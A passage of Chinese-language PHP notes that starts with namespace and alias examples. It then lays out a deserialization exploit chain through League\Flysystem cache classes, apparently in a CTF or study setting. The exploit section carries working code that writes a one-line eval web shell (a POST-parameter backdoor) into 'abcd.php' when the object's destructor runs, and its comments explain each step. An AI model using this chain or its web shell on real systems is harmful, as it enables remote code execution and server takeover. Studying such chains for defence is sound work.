$d = new $c;
?>

`5. NAMESPACE`

<?php
namespace Space;
// 输出当前命名空间的名字 "Spacet"
echo '"', __NAMESPACE__, '"';
?>

6. 别名/导入

use Space2\son\classDemo as Demo;
$obj = new Demo();

use Space2\son\classDemo
$obj = new classDemo();

7. 全局类调用

<?php
namespace A\B\C;
class Exception extends \Exception {}

// $a 是类 A\B\C\Exception 的一个对象

$a = new Exception('end');
// $b 是类 Exception 的一个对象
$b = new \Exception('end');
throw $a;
?>

反序列化

/入口点位置：
namespace League\Flysystem\Cached\Storage
{

abstract class AbstractCache
{
//属性值为false，才可以调用该save方法
protected $autosave = false;

// 一句话代码，也是最后写入文件的内容
protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];

protected $complete = [];

public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

 public function __destruct()
{
//autoSave参数为false
if (! $this->autosave) {
$this->save();
}
}
}

use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;

class Adapter extends AbstractCache
{
//适配器，也就是我们要利用write方法的类
protected $adapter;
protected $expire = null;
 //文件名，写入文件的文件名
protected $file = 'abcd.php';

public function __construct($local)
{
//方便生成的属性为local类对象，所以直接写到构造方法里了
$this->adapter = $local;
}

public function getForStorage()
{
//不用担心这个函数，它也没把我们的写入的内容怎么地
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete, $this->expire]);
}

 public function save()
{
$config = new Config();//为了方便，这个参数可以随便写一下，
//但是如果随便写，下面的write定义的部分记得把传参约定的类型去掉（要不然php7过不
了）

$contents = $this->getForStorage();

if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
}